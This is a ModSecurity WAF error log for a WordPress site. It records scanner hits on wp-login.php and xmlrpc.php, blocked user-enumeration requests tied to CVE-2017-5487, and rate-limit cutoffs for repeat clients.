[Mon Dec 22 22:21:05.049633 2025] [:error] [pid 56080:tid 56124] [client 208.115.224.232:61293] [client 208.115.224.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlT0ZIHT3YJq9hjDc762gAAAwA"]
[Mon Dec 22 22:21:05.049923 2025] [:error] [pid 33564:tid 33579] [client 208.115.224.232:61294] [client 208.115.224.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlT0QSHeG6oLmMnKY7c3gAAAgw"]
[Mon Dec 22 22:43:30.328212 2025] [:error] [pid 58078:tid 58096] [client 200.234.217.216:44808] [client 200.234.217.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.234.217.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZEpWKg9Bf8njHlB5zcwAAAA0"]
[Mon Dec 22 22:43:35.719582 2025] [:error] [pid 58172:tid 58184] [client 200.234.217.216:44902] [client 200.234.217.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.234.217.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZF-SVKDT5jWOcnSUToQAAAMo"]
[Mon Dec 22 22:43:40.401081 2025] [:error] [pid 56155:tid 56235] [client 200.234.217.216:44982] [client 200.234.217.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.234.217.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZHGG8a3wQucsuN64JAgAAA40"]
[Mon Dec 22 22:44:02.556515 2025] [:error] [pid 56155:tid 56224] [client 45.118.151.91:58094] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZMmG8a3wQucsuN64JEgAAA4I"]
[Mon Dec 22 22:44:05.006234 2025] [:error] [pid 56080:tid 56141] [client 45.118.151.91:58140] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZNZIHT3YJq9hjDc7-KQAAAxE"]
[Mon Dec 22 22:44:07.024254 2025] [:error] [pid 33440:tid 33453] [client 45.118.151.91:58174] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlZN5OsUWKqgxu6QTRLRgAAAQs"]
[Mon Dec 22 23:31:19.077598 2025] [:error] [pid 58078:tid 58099] [client 38.246.32.101:49895] [client 38.246.32.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlkR5WKg9Bf8njHlB6ARAAAABA"]
[Mon Dec 22 23:31:19.078392 2025] [:error] [pid 58078:tid 58097] [client 38.246.32.101:49896] [client 38.246.32.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlkR5WKg9Bf8njHlB6ARQAAAA4"]
[Tue Dec 23 00:14:10.452486 2025] [:error] [pid 40269:tid 40340] [client 209.97.132.136:58154] [client 209.97.132.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.97.132.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUluUi06Z11fTcfdsqS_ZAAAAQs"]
[Tue Dec 23 00:14:13.021666 2025] [:error] [pid 40268:tid 40319] [client 209.97.132.136:57596] [client 209.97.132.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.97.132.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUluVZWtCyS5tdJAiFw4JAAAANE"]
[Tue Dec 23 00:23:42.146168 2025] [:error] [pid 40361:tid 40365] [client 209.97.132.136:57035] [client 209.97.132.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.97.132.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlwjuxiDEK95vL2EDqfegAAAEI"]
[Tue Dec 23 00:24:51.034998 2025] [:error] [pid 40269:tid 40339] [client 34.74.72.205:59804] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw0y06Z11fTcfdsqTEtAAAAQo"]
[Tue Dec 23 00:24:54.620431 2025] [:error] [pid 40269:tid 40337] [client 34.74.72.205:59804] [client 34.74.72.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUlw1i06Z11fTcfdsqTEwQAAAQg"]
[Tue Dec 23 00:24:56.202365 2025] [:error] [pid 40269:tid 40353] [client 34.74.72.205:59804] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw2C06Z11fTcfdsqTEyQAAARg"]
[Tue Dec 23 00:24:58.343421 2025] [:error] [pid 40268:tid 40312] [client 34.74.72.205:60587] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw2pWtCyS5tdJAiFw9ZgAAAMo"]
[Tue Dec 23 00:25:00.564327 2025] [:error] [pid 40361:tid 40377] [client 34.74.72.205:61726] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw3OxiDEK95vL2EDqgeQAAAE4"]
[Tue Dec 23 00:25:02.862699 2025] [:error] [pid 40267:tid 40280] [client 34.74.72.205:50651] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw3uTPWWVt2GkrftBKVAAAAAc"]
[Tue Dec 23 00:25:05.021202 2025] [:error] [pid 40267:tid 40284] [client 34.74.72.205:59673] [client 34.74.72.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.72.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw4eTPWWVt2GkrftBKVgAAAAs"]
[Tue Dec 23 00:25:05.021348 2025] [:error] [pid 40267:tid 40284] [client 34.74.72.205:59673] [client 34.74.72.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.74.72.205, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUlw4eTPWWVt2GkrftBKVgAAAAs"]
[Tue Dec 23 00:27:45.013681 2025] [:error] [pid 40361:tid 40383] [client 209.97.132.136:64035] [client 209.97.132.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.97.132.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlxgexiDEK95vL2EDqicgAAAFQ"]
[Tue Dec 23 00:30:53.532527 2025] [:error] [pid 40268:tid 40322] [client 209.97.132.136:58511] [client 209.97.132.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.97.132.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUlyPZWtCyS5tdJAiFw_qgAAANQ"]
[Tue Dec 23 00:39:54.057722 2025] [:error] [pid 40361:tid 40371] [client 165.22.80.101:52280] [client 165.22.80.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.80.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUl0WuxiDEK95vL2EDqrDAAAAEg"]
[Tue Dec 23 00:39:54.060411 2025] [:error] [pid 40361:tid 40372] [client 165.22.80.101:52281] [client 165.22.80.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.80.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUl0WuxiDEK95vL2EDqrDQAAAEk"]
[Tue Dec 23 01:47:39.405579 2025] [:error] [pid 40267:tid 40273] [client 34.53.4.95:50643] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEO-TPWWVt2GkrftBtZQAAAAA"]
[Tue Dec 23 01:47:42.852110 2025] [:error] [pid 40267:tid 40283] [client 34.53.4.95:50643] [client 34.53.4.95] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUmEPuTPWWVt2GkrftBtbQAAAAo"]
[Tue Dec 23 01:47:44.309675 2025] [:error] [pid 40267:tid 40275] [client 34.53.4.95:50643] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEQOTPWWVt2GkrftBtcAAAAAI"]
[Tue Dec 23 01:47:46.322984 2025] [:error] [pid 40268:tid 40313] [client 34.53.4.95:52160] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEQpWtCyS5tdJAiFxcoQAAAMs"]
[Tue Dec 23 01:47:48.185875 2025] [:error] [pid 40267:tid 40289] [client 34.53.4.95:54361] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEROTPWWVt2GkrftBtgAAAABA"]
[Tue Dec 23 01:47:50.146643 2025] [:error] [pid 40361:tid 40383] [client 34.53.4.95:65236] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmERuxiDEK95vL2EDrSRAAAAFQ"]
[Tue Dec 23 01:47:52.011324 2025] [:error] [pid 40269:tid 40331] [client 34.53.4.95:53350] [client 34.53.4.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.4.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmESC06Z11fTcfdsqTmWwAAAQI"]
[Tue Dec 23 01:47:52.011481 2025] [:error] [pid 40269:tid 40331] [client 34.53.4.95:53350] [client 34.53.4.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.53.4.95, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmESC06Z11fTcfdsqTmWwAAAQI"]
[Tue Dec 23 01:48:56.296087 2025] [:error] [pid 40267:tid 40281] [client 34.148.110.88:51040] [client 34.148.110.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.110.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEiOTPWWVt2GkrftBt7gAAAAg"]
[Tue Dec 23 01:48:59.943610 2025] [:error] [pid 40267:tid 40295] [client 34.148.110.88:51040] [client 34.148.110.88] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUmEi-TPWWVt2GkrftBt-QAAABY"]
[Tue Dec 23 01:49:02.337180 2025] [:error] [pid 40267:tid 40289] [client 34.148.110.88:51040] [client 34.148.110.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.110.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEjuTPWWVt2GkrftBt_gAAABA"]
[Tue Dec 23 01:49:04.477007 2025] [:error] [pid 40361:tid 40373] [client 34.148.110.88:60408] [client 34.148.110.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.110.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEkOxiDEK95vL2EDrS5AAAAEo"]
[Tue Dec 23 01:49:06.593453 2025] [:error] [pid 40361:tid 40367] [client 34.148.110.88:58042] [client 34.148.110.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.110.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEkuxiDEK95vL2EDrS6wAAAEQ"]
[Tue Dec 23 01:49:06.593640 2025] [:error] [pid 40361:tid 40367] [client 34.148.110.88:58042] [client 34.148.110.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.148.110.88, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmEkuxiDEK95vL2EDrS6wAAAEQ"]
[Tue Dec 23 01:51:40.501287 2025] [:error] [pid 40268:tid 40314] [client 38.246.32.213:62748] [client 38.246.32.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmFLJWtCyS5tdJAiFxeYgAAAMw"]
[Tue Dec 23 01:51:40.501565 2025] [:error] [pid 40269:tid 40350] [client 38.246.32.213:62749] [client 38.246.32.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmFLC06Z11fTcfdsqTn8wAAARU"]
[Tue Dec 23 01:54:34.140485 2025] [:error] [pid 40267:tid 40285] [client 104.196.171.9:55261] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF2uTPWWVt2GkrftBw2AAAAAw"]
[Tue Dec 23 01:54:37.731108 2025] [:error] [pid 40267:tid 40294] [client 104.196.171.9:55261] [client 104.196.171.9] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUmF3eTPWWVt2GkrftBw3QAAABU"]
[Tue Dec 23 01:54:39.323313 2025] [:error] [pid 40267:tid 40273] [client 104.196.171.9:55261] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF3-TPWWVt2GkrftBw4AAAAAA"]
[Tue Dec 23 01:54:41.253657 2025] [:error] [pid 40267:tid 40275] [client 104.196.171.9:55299] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF4eTPWWVt2GkrftBw5wAAAAI"]
[Tue Dec 23 01:54:43.462099 2025] [:error] [pid 40267:tid 40292] [client 104.196.171.9:54388] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF4-TPWWVt2GkrftBw6QAAABM"]
[Tue Dec 23 01:54:45.578772 2025] [:error] [pid 40361:tid 40384] [client 104.196.171.9:64755] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF5exiDEK95vL2EDrW_wAAAFU"]
[Tue Dec 23 01:54:47.642935 2025] [:error] [pid 40268:tid 40316] [client 104.196.171.9:51838] [client 104.196.171.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.171.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF55WtCyS5tdJAiFxfkQAAAM4"]
[Tue Dec 23 01:54:47.643050 2025] [:error] [pid 40268:tid 40316] [client 104.196.171.9:51838] [client 104.196.171.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.196.171.9, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmF55WtCyS5tdJAiFxfkQAAAM4"]
[Tue Dec 23 02:05:15.798654 2025] [:error] [pid 40361:tid 40364] [client 123.57.2.12:36980] [client 123.57.2.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.2.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmIW-xiDEK95vL2EDreMgAAAEE"]
[Tue Dec 23 02:05:21.954143 2025] [:error] [pid 40269:tid 40334] [client 123.57.2.12:34196] [client 123.57.2.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.2.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmIYS06Z11fTcfdsqTu3QAAAQU"]
[Tue Dec 23 02:05:27.483284 2025] [:error] [pid 40267:tid 40296] [client 123.57.2.12:34204] [client 123.57.2.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.57.2.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmIZ-TPWWVt2GkrftB2cgAAABc"]
[Tue Dec 23 02:40:15.909803 2025] [:error] [pid 40361:tid 40366] [client 34.79.163.251:64088] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQj-xiDEK95vL2EDr0lQAAAEM"]
[Tue Dec 23 02:40:19.867123 2025] [:error] [pid 40361:tid 40387] [client 34.79.163.251:64088] [client 34.79.163.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUmQk-xiDEK95vL2EDr0nwAAAFg"]
[Tue Dec 23 02:40:21.797144 2025] [:error] [pid 40361:tid 40380] [client 34.79.163.251:64088] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQlexiDEK95vL2EDr0ogAAAFE"]
[Tue Dec 23 02:40:24.177350 2025] [:error] [pid 12110:tid 12122] [client 34.79.163.251:51815] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQmAYatzD_WebWpOrmKgAAAIo"]
